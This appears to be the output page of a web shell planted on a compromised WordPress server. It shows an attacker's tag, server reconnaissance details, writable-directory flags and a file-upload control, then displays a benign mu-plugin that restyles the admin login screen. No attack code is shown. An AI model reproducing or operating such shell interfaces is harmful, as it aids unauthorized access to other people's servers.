Heray-Was-Here
Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.1.31
Disable Function : NONE
Directory :  /opt/matlock/wp-content/mu-plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /opt/matlock/wp-content/mu-plugins/custom-backend.php
<?php
/*
Plugin Name: Custom Backend for General Offices
Description: Custom Backend for General Offices
Author: Lawton Marketing Group
Version: 1.0
Author URI: http://lawtonmg.com
*/


function my_admin_theme_style() {
    wp_enqueue_style('my-admin-theme', plugins_url('wp-admin.css', __FILE__));
}
add_action('admin_enqueue_scripts', 'my_admin_theme_style');
add_action('login_enqueue_scripts', 'my_admin_theme_style');

function my_login_logo() {
?>
    <style type="text/css">
        body.login{
          background-color: #333;
        }
        body.login form{
          border-radius: 10px;
          padding: 2em;
        }
        body.login #nav,
        body.login #backtoblog{
          display: none;
        }
        body.login div#login h1 a {
            background-image: url(/wp-content//mu-plugins/images/lmg-logo.png);
            padding-bottom: 30px;
            height: 100px;
            width: 200px;
            background-size: 200px;
        }
    </style>
<?php }
add_action( 'login_enqueue_scripts', 'my_login_logo' );
function my_login_logo_url() {
    return home_url();
}
add_filter( 'login_headerurl', 'my_login_logo_url' );

add_action('admin_bar_menu', 'remove_wp_logo', 999);
function remove_wp_logo( $wp_admin_bar ) {
  $wp_admin_bar->remove_node('wp-logo');
}

add_action( 'admin_bar_menu', 'wp_admin_bar_my_custom_account_menu', 11 );
function wp_admin_bar_my_custom_account_menu( $wp_admin_bar ) {
  $user_id = get_current_user_id();
  $current_user = wp_get_current_user();
  $profile_url = get_edit_profile_url( $user_id );

  if ( 0 != $user_id ) {
    /* Add the "My Account" menu */
    $avatar = get_avatar( $user_id, 28 );
    $howdy = sprintf( __('Welcome, %1$s'), $current_user->display_name );
    $class = empty( $avatar ) ? '' : 'with-avatar';

    $wp_admin_bar->add_menu( array(
      'id' => 'my-account',
      'parent' => 'top-secondary',
      'title' => $howdy . $avatar,
      'href' => $profile_url,
      'meta' => array(
      'class' => $class,
      ),
    ) );
  }
}

Hry